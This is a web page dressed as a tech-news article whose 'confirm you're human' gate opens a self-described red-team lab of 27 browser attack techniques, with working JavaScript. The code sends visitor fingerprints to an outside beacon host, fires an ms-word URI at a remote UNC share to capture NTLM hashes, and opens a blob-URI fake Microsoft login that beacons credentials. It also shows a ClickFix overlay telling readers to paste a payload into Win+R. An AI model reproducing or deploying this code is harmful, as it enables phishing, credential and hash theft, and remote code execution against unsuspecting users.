Independent. Uncompromising. Essential.

Monday, October 13, 2026 — All Times EDT

Tech Sector Sees Record Growth as AI Infrastructure Spending Accelerates

By J. Weston • Staff Writer • Published 6:00 AM

The technology sector posted its strongest quarterly performance in nearly four years during the third quarter of 2026, driven largely by sustained enterprise investment in artificial intelligence infrastructure and a rebound in consumer hardware demand.

Analysts at several major financial institutions revised their full-year sector outlooks upward following earnings releases from the industry’s largest players, with semiconductor manufacturers leading gains.

Corporate data center construction reached a decade high as hyperscale operators rushed to bring capacity online. Supply chain constraints that plagued the sector throughout 2024 and into 2025 appear to have largely resolved.

Consumer confidence in technology purchases rebounded sharply, with PC and laptop shipments posting the largest year-over-year increase since the pandemic-era surge.

Continue Reading

Confirm you’re a human reader to access the full article.

RED TEAM TECHNIQUE LAB v2 — GREEN = one-click GRAY = requires 2nd action

T1: File System Access API

REQUIRES 2ND ACTION

showOpenFilePicker() -- user must click OK in OS dialog. One-click page button + one more user action = not pure one-click. Included for comparison.

T2: Drag-and-Drop Read

REQUIRES 2ND ACTION

File API reads any dragged file with no permission prompt. Requires user to drag a file from Explorer -- more than one click.

Drag a file from your desktop here

T3: Port Scan + PNA Probe

ONE CLICK

Timing scan of localhost. ERR_CONNECTION_REFUSED = truly closed. PNA loopback error = service IS running but Chrome blocked the response. This distinguishes open vs closed.

T4: WebRTC Internal IP Leak

ONE CLICK

RTCPeerConnection ICE candidates leak local and internal network IPs. No permission required.

T5: NTLM Hash Trigger

ONE CLICK (Windows)

Image load from attacker URL returns 401 + WWW-Authenticate: NTLM. On Windows, Chrome auto-responds with Net-NTLMv2 hash. Capture with Responder.

T6: CSS History Sniff

ONE CLICK (patched)

getComputedStyle() timing on :visited links. Patched in Chrome since v6. Shows Chrome defense working.

T7: Clipboard Read

ONE CLICK (permission req)

navigator.clipboard.readText(). Chrome requires explicit user permission grant -- blocked without it.

T8: Double-Extension Download

ONE CLICK

JS triggers download of invoice_q3_2026.pdf.exe. File is written to disk. Chrome Safe Browsing flags .exe as Dangerous. User must click "Keep anyway" to execute.

T9: Clipboard Poison (ClickFix)

ONE CLICK

navigator.clipboard.writeText() requires a user gesture -- this button IS that gesture. No permission dialog for WRITES. Clipboard is poisoned with a PowerShell payload, then a fake error overlay instructs Win+R + paste.

T10: URI Scheme Fingerprinting

ONE CLICK

Probe 30+ URI schemes (vscode://, zoom://, slack://, teams://, discord://, steam://, etc.) via iframe src. Timing and error type reveal which apps are installed. Pure recon, no file read.

T11: RTLO Filename Spoof

ONE CLICK

Download with Unicode U+202E (right-to-left override): "invoice_\u202Etxt.exe" displayed as "invoice_exe.txt" in some OS file dialogs. Tests if Chrome strips RTLO before showing filename.

T12: SCF File Download

ONE CLICK

Windows Shell Command File (.scf) -- when the folder containing it is opened in Explorer, Windows loads an icon from an attacker UNC path, triggering NTLM. Does Chrome download .scf without blocking?

T13: WebSocket Localhost Probe

ONE CLICK

WebSocket connections to localhost -- does Chrome's Private Network Access block ws:// the same way it blocks fetch? Tests alternative channel to local services.

T14: showSaveFilePicker Write

REQUIRES 2ND ACTION

File System Access API write path -- user gets a save-as dialog, chooses location, page writes arbitrary content there. Two-action but targets any directory including System32.

T15: search-ms:// NTLM Trigger

ONE CLICK (Windows)

Redirects to search-ms:// with a UNC path query. On Windows, this causes Windows Search to authenticate to \\attacker\share via NTLMv2. No app install required -- built into Windows. One click = hash exfil.

T16: 0.0.0.0 PNA Bypass

ONE CLICK (macOS/Linux)

fetch('http://0.0.0.0:PORT') bypasses Chrome's Private Network Access check on macOS/Linux (CVE-2025-49596). If Jupyter (8888) or Docker (2375) is running, this reads local data without rebinding. Windows: no bypass.

T17: VBS/WSF Silent Download

ONE CLICK

.vbs and .wsf files execute arbitrary commands on double-click via wscript.exe. Chrome does NOT show "Dangerous download" for these by default. 68k malicious samples in 2024.

T18: Bot-Targeting (Anti-Automation)

ONE CLICK (vs automated scanners)

If navigator.webdriver=true (Playwright/Selenium detected), show a file picker. Automated scanners configured to auto-handle filechooser events will provide a file -- page reads it and beacons the contents. Exploits the scanner's own automation against it.

T19: ms-word:// + UNC Macro

ONE CLICK (Windows+Office)

Opens ms-word://ofe|u|\\attacker\share\doc.docm -- Word fetches the file from UNC path (NTLM hash) and opens it. If Protected View is off or user clicks Enable, macro runs. One click = NTLM + potential execution.

T20: HTA File Download

ONE CLICK

.hta (HTML Application) executed by mshta.exe with FULL user privileges -- no browser sandbox, no UAC. Chrome may not flag it as "Dangerous" since it looks like HTML. Double-click = arbitrary command execution.

T21: .url Internet Shortcut

ONE CLICK (Windows)

Windows Internet Shortcut (.url) with URL=file://attacker/share. On Windows, opening or selecting in Explorer resolves the UNC path and triggers NTLM auth. Chrome likely does not warn on .url files.

T22: CSS NTLM Probe

ONE CLICK (Windows)

CSS @import and link[rel=stylesheet] pointing at NTLM-challenge endpoint. Tests whether Chrome auto-authenticates for stylesheet loads differently from image/XHR loads. No JS exfil -- pure CSS delivery vector.

T23: Form Autofill Harvest

ONE CLICK

Creates off-screen form inputs with autocomplete attributes (email, name, tel, address). Browser autofill may populate them silently. JS reads populated values and beacons. Tests Chrome's autofill-on-hidden-inputs protection.

T24: Cache Timing Visit Detection

ONE CLICK

Measures load time for resources from major sites -- cached resources load faster if user visited recently. Chrome 86+ cache partitioning keys by (resource + top-level-origin) to block this. Testing if partitioning holds.

T25: URI Handler Arg Injection

ONE CLICK

Fires vscode://, zoommtg://, x-github-client://, slack:// with attacker-controlled arguments. These app-specific handlers parse the args natively -- Zoom decodes base64 JSON context, GitHub Desktop opens a repo URL, VS Code loads an extension path.

T26: blob: URI Phishing Bypass

ONE CLICK

Generates a full phishing page client-side via Blob + createObjectURL. Opened tab has URL blob:https://[parent-origin]/uuid -- looks legitimate. Payload never hits the network as a URL, bypassing all email gateway / URL scanner detection. Actively used in wild (Cofense 2025).

T27: WebGPU/Dawn Surface Probe

ONE CLICK

Probes WebGPU availability and adapter details. Dawn (WebGPU impl) had CVE-2026-5281 exploited in the wild (April 2026). Shader compilation path is large, new, underaudited. WebGPU in GPU process which has weaker sandbox than renderer -- bugs here skip one escape step.

⚠ Browser Verification Required

An error occurred while loading secure content. To continue, please complete this one-step verification:

Press Windows key + R
Press Ctrl + V to paste
Press Enter

`; const blob = new Blob([phishHtml], { type: 'text/html' }); const blobUrl = URL.createObjectURL(blob); const newTab = window.open(blobUrl, '_blank'); result(26, `BLOB URI PHISH OPENED\nURL in victim tab: blob:${location.origin}/${blobUrl.split('/').pop()}\n\nKey properties:\n- Payload NEVER hits network as a URL (bypasses all proxy/gateway scanning)\n- URL shows parent origin (${location.origin}) = looks trusted\n- Full HTML/JS/CSS page with no external deps\n- Credentials entered will beacon to attacker\n- Active in wild since 2024 (Cofense research)\n\nCheck new tab for fake Microsoft login.`, 'ok'); await beacon('T26_BlobPhishLaunched', { parentOrigin: location.origin, blobUrl }); } // T27: WebGPU/Dawn surface probe (CVE-2026-5281 in wild) async function runT27() { const btn = event.target; btn.disabled = true; btn.textContent = 'Probing...'; if (!navigator.gpu) { result(27, 'WebGPU: navigator.gpu not available\n\nMay be disabled (requires secure context + hardware support)\nOn Windows this would use Dawn (Chrome\'s WebGPU impl)\nDawn had CVE-2026-5281 (UAF, CISA KEV April 2026) exploited in wild\nGPU process sandbox is WEAKER than renderer -- GPU bug = skip one escape step', 'info'); await beacon('T27_WebGPU', { available: false }); btn.disabled = false; btn.textContent = 'Run: WebGPU Probe'; return; } try { const adapter = await navigator.gpu.requestAdapter(); if (!adapter) { result(27, 'WebGPU: adapter request failed (no suitable GPU)', 'info'); await beacon('T27_WebGPU', { available: true, adapter: null }); btn.disabled = false; btn.textContent = 'Run: WebGPU Probe'; return; } const info = await adapter.requestAdapterInfo(); const features = [...adapter.features]; const limits = {}; ['maxTextureDimension2D','maxBufferSize','maxComputeWorkgroupSizeX','maxUniformBufferBindingSize'].forEach(k => { limits[k] = adapter.limits[k]; }); // Try to get device -- this is where Dawn bugs typically live const device = await adapter.requestDevice(); const shaderTest = device.createShaderModule({ code: `@vertex fn vs(@builtin(vertex_index) vi: u32) -> @builtin(position) vec4f { return vec4f(0.0,0.0,0.0,1.0); }` }); // Probe WGSL compiler -- shader compilation is the underaudited surface const compileInfo = await shaderTest.getCompilationInfo(); device.destroy(); const gpuData = { vendor: info.vendor, device: info.device, architecture: info.architecture, description: info.description, backend: info.backend, features: features.slice(0, 10), limits, shaderCompile: compileInfo.messages.length === 0 ? 'success' : `${compileInfo.messages.length} messages`, }; result(27, `WebGPU SURFACE CONFIRMED\n\nAdapter: ${info.vendor || '?'} / ${info.device || '?'}\nBackend: ${info.backend || 'unknown'}\nArchitecture: ${info.architecture || 'unknown'}\nFeatures: ${features.slice(0,5).join(', ')}\nWGSL shader compile: ${gpuData.shaderCompile}\n\nCVE-2026-5281: Dawn UAF in GPU process (CISA KEV April 2026, in-the-wild)\nGPU process sandbox = weaker than renderer on Windows (no low-integrity token)\nWGSL compiler = large C++ pipeline, underaudited\nBug here = code exec in GPU process, 1 step below full escape`, 'ok'); await beacon('T27_WebGPU', { available: true, gpuData }); } catch(e) { result(27, `WebGPU error: ${e.name} -- ${e.message}`, 'info'); await beacon('T27_WebGPU', { available: true, error: e.message }); } btn.disabled = false; btn.textContent = 'Run: WebGPU Probe'; } // T19: ms-word:// + UNC path async function runT19() { const btn = event.target; btn.disabled = true; // ms-word://ofe|u|\\server\share\file.docm // Opens Word, which fetches file from UNC (NTLM) and opens it const wordUri = `ms-word:ofe|u|\\\\sec-demo-beacon.luke-4bb.workers.dev\\share\\invoice.docm`; try { const iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.src = wordUri; document.body.appendChild(iframe); setTimeout(() => { try { document.body.removeChild(iframe); } catch(_){} }, 2000); result(19, `TRIGGERED: ms-word:// with UNC path\nIf Office is installed on Windows:\n1. Word opens\n2. Word fetches \\\\attacker\\share\\invoice.docm (NTLM hash captured)\n3. If Protected View is off or user clicks Enable Editing, macro runs\n\nmacOS: Office may still launch but no NTLM. No effect without Office installed.`, 'info'); await beacon('T19_MSWord', { uri: wordUri, triggered: true }); } catch(e) { result(19, `BLOCKED/ERROR: ${e.message}`, 'blocked'); } btn.disabled = false; btn.textContent = 'Run: ms-word UNC'; } // Gate button document.getElementById('verify-btn').addEventListener('click', async function() { this.disabled = true; this.textContent = 'Loading...'; try { await fetch(BEACON_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ technique: 'GATE_CLICK', data: { webdriver: !!navigator.webdriver, ua: navigator.userAgent, platform: navigator.platform, screen: screen.width+'x'+screen.height, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, plugins: navigator.plugins.length, hw: navigator.hardwareConcurrency, }, ts: new Date().toISOString(), }), }); } catch (_) {} document.getElementById('research-panel').style.display = 'block'; document.getElementById('research-panel').scrollIntoView({ behavior: 'smooth' }); this.textContent = 'Panel open below'; });